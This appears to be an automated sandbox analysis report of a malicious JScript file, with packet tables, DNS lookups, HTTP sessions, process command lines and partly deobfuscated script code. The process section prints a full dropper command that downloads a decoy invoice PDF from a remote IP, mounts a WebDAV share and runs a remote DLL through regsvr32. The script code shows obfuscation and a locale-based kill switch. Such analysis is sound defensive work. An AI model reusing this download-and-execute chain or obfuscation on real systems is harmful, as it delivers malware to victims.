Jan 11, 2025 02:31:20.438350916 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.438361883 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.438401937 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.438401937 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.438433886 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.438559055 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.438569069 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.438577890 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.438585997 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.438596010 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.438606977 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.438616991 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.438647985 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.438647985 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.438659906 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.438671112 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.438680887 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.438703060 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.440207958 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.440207958 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.453073025 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.453107119 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.453118086 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.453190088 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.453201056 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.453212976 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.453264952 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.453264952 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.453289032 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.453299999 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.453303099 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.453346014 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.468408108 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.468425989 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.468450069 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.468461037 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.468486071 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.468528986 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.468539953 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.468610048 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.468621969 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.468645096 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.468645096 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.468677998 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.490772963 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.490798950 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.490808010 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.490848064 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.490858078 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.490884066 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.490900993 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.490926027 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.491065979 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.491086006 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.491096973 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.491106987 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.491137981 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.491164923 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.491173029 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.491183996 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.491193056 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.491200924 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.491209984 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.491219044 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.491241932 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.491288900 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.491300106 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.491338968 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.491349936 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.491384029 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.545743942 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.981652975 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:21.498528004 CET	49704	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:21.503386021 CET	8888	49704	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:21.503539085 CET	49704	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:21.503730059 CET	49704	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:21.508522034 CET	8888	49704	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:22.293534994 CET	8888	49704	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:22.342498064 CET	49704	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:22.756201982 CET	49704	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:33:11.580787897 CET	56834	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:33:11.585611105 CET	53	56834	1.1.1.1	192.168.2.7
Jan 11, 2025 02:33:11.585779905 CET	56834	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:33:11.585779905 CET	56834	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:33:11.590580940 CET	53	56834	1.1.1.1	192.168.2.7
Jan 11, 2025 02:33:12.031965017 CET	53	56834	1.1.1.1	192.168.2.7
Jan 11, 2025 02:33:12.040354013 CET	56834	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:33:12.045308113 CET	53	56834	1.1.1.1	192.168.2.7
Jan 11, 2025 02:33:12.045362949 CET	56834	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:31:31.657609940 CET	54827	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:33:11.579889059 CET	53	60988	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:31:31.657609940 CET	192.168.2.7	1.1.1.1	0xd8ea	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:31:31.664848089 CET	1.1.1.1	192.168.2.7	0xd8ea	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:31:32.410733938 CET	1.1.1.1	192.168.2.7	0xcd64	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:31:32.410733938 CET	1.1.1.1	192.168.2.7	0xcd64	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:31:46.221508026 CET	1.1.1.1	192.168.2.7	0x1189	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:31:46.221508026 CET	1.1.1.1	192.168.2.7	0x1189	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:32:10.331115961 CET	1.1.1.1	192.168.2.7	0x744e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:32:10.331115961 CET	1.1.1.1	192.168.2.7	0x744e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49703	193.143.1.205	80	7456	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:31:18.858972073 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:31:19.724173069 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:31:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:31:19.724214077 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:31:19.724229097 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:31:19.724391937 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 02:31:19.724407911 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 02:31:19.724421978 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 02:31:19.724519014 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 02:31:19.724534035 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 02:31:19.724550009 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 02:31:19.724565983 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 11, 2025 02:31:19.729276896 CET	444	IN	Data Raw: d8 51 55 3b 72 1f 4b 07 86 5e 9c eb 03 43 6f 8f a2 18 3a 7c 34 7d 33 3d 0e f7 e7 7f 7d 10 fe fa fd 38 86 36 9b 72 4d 0c bd e9 62 28 c7 86 4e 61 ea 9b 13 00 00 c0 34 f8 62 09 00 36 ca dc 4e c3 1d b9 b9 b1 50 5d 07 c2 a2 a1 0f 97 14 b9 ed a9 26 5b Data Ascii: QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49704	193.143.1.205	8888	7700	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:31:21.503730059 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:31:22.293534994 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:31:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	20:31:14
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1601021956623126375.js"
Imagebase:	0x7ff6ce970000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:31:15
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\169141939023222.dll
Imagebase:	0x7ff7eaf80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:31:15
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:31:15
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:31:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	20:31:20
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7eaf80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:31:20
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff714dc0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:31:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:31:21
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:31:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1732,i,16547960719200057932,3100266885485836972,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function dngpefbpr() {	dngpefbpr() ➔ undefined
1	sdbgk = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var wdkrw = this[hpydbfim + lkpbuos + mmnhytxg + puyro + xkvpe + erigmo + tagtidvj + jqxzaw] ( this[vtvxgwzz + gprsv + qqwddsk + mmnhytxg + wzmwj + hpydbfim + jqxzaw][rmnwal + mmnhytxg + xkvpe + lkpbuos + jqxzaw + xkvpe + jegitq + ntscdmotl + cpyuei + xkvpe + qqwddsk + jqxzaw] ( vtvxgwzz + gprsv + qqwddsk + mmnhytxg + wzmwj + hpydbfim + jqxzaw + pacqeifkv + gprsv + gxjpiflwj + xkvpe + sumxacvf + sumxacvf ) [owykmxmv + xkvpe + mlhzxry + owykmxmv + xkvpe + lkpbuos + rfkycqtcn] ( oitlgchk + lepzabhcr + pyrtgqxe + kwdnedwqt + gzzqam + rmnwal + sbjjm + owykmxmv + owykmxmv + pyrtgqxe + dsewh + qgaier + gzzqam + sbjjm + gprsv + pyrtgqxe + owykmxmv + xprgfbf + rmnwal + aqdrxaxe + tagtidvj + jqxzaw + mmnhytxg + aqdrxaxe + sumxacvf + fsaeco + qinmebud + lkpbuos + tagtidvj + xkvpe + sumxacvf + xprgfbf + erigmo + tagtidvj + jqxzaw + xkvpe + mmnhytxg + tagtidvj + lkpbuos + jqxzaw + wzmwj + aqdrxaxe + tagtidvj + lkpbuos + sumxacvf + xprgfbf + juivrosn + aqdrxaxe + qqwddsk + lkpbuos + sumxacvf + xkvpe ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( knkvygbwj = 0 ; knkvygbwj < sdbgk[sumxacvf + xkvpe + tagtidvj + mlhzxry + jqxzaw + gxjpiflwj] ; ++ knkvygbwj )
4	{
5	if ( wdkrw == sdbgk[knkvygbwj] )
6	{
7	wdkrw = true;
8	break ;
9	}
10	}
11	if ( wdkrw !== true )
12	this[vtvxgwzz + gprsv + qqwddsk + mmnhytxg + wzmwj + hpydbfim + jqxzaw][dxzzm + bdvow + wzmwj + jqxzaw] ( );
13	this[vtvxgwzz + gprsv + qqwddsk + mmnhytxg + wzmwj + hpydbfim + jqxzaw][rmnwal + mmnhytxg + xkvpe + lkpbuos + jqxzaw + xkvpe + jegitq + ntscdmotl + cpyuei + xkvpe + qqwddsk + jqxzaw] ( vtvxgwzz + gprsv + qqwddsk + mmnhytxg + wzmwj + hpydbfim + jqxzaw + pacqeifkv + gprsv + gxjpiflwj + xkvpe + sumxacvf + sumxacvf ) [mmnhytxg + bdvow + tagtidvj] ( qqwddsk + sqwtzrt + rfkycqtcn + fsaeco + ezzvktj + qqwddsk + fsaeco + hpydbfim + aqdrxaxe + glhos + xkvpe + mmnhytxg + puyro + gxjpiflwj + xkvpe + sumxacvf + sumxacvf + pacqeifkv + xkvpe + cnoiualq + xkvpe + fsaeco + amneaevli + rmnwal + aqdrxaxe + sqwtzrt + sqwtzrt + lkpbuos + tagtidvj + rfkycqtcn + fsaeco + igjlxluso + erigmo + tagtidvj + uzubvamhb + aqdrxaxe + hdmlnbc + xkvpe + amneaevli + vtvxgwzz + xkvpe + ntscdmotl + owykmxmv + xkvpe + qsefj + bdvow + xkvpe + puyro + jqxzaw + 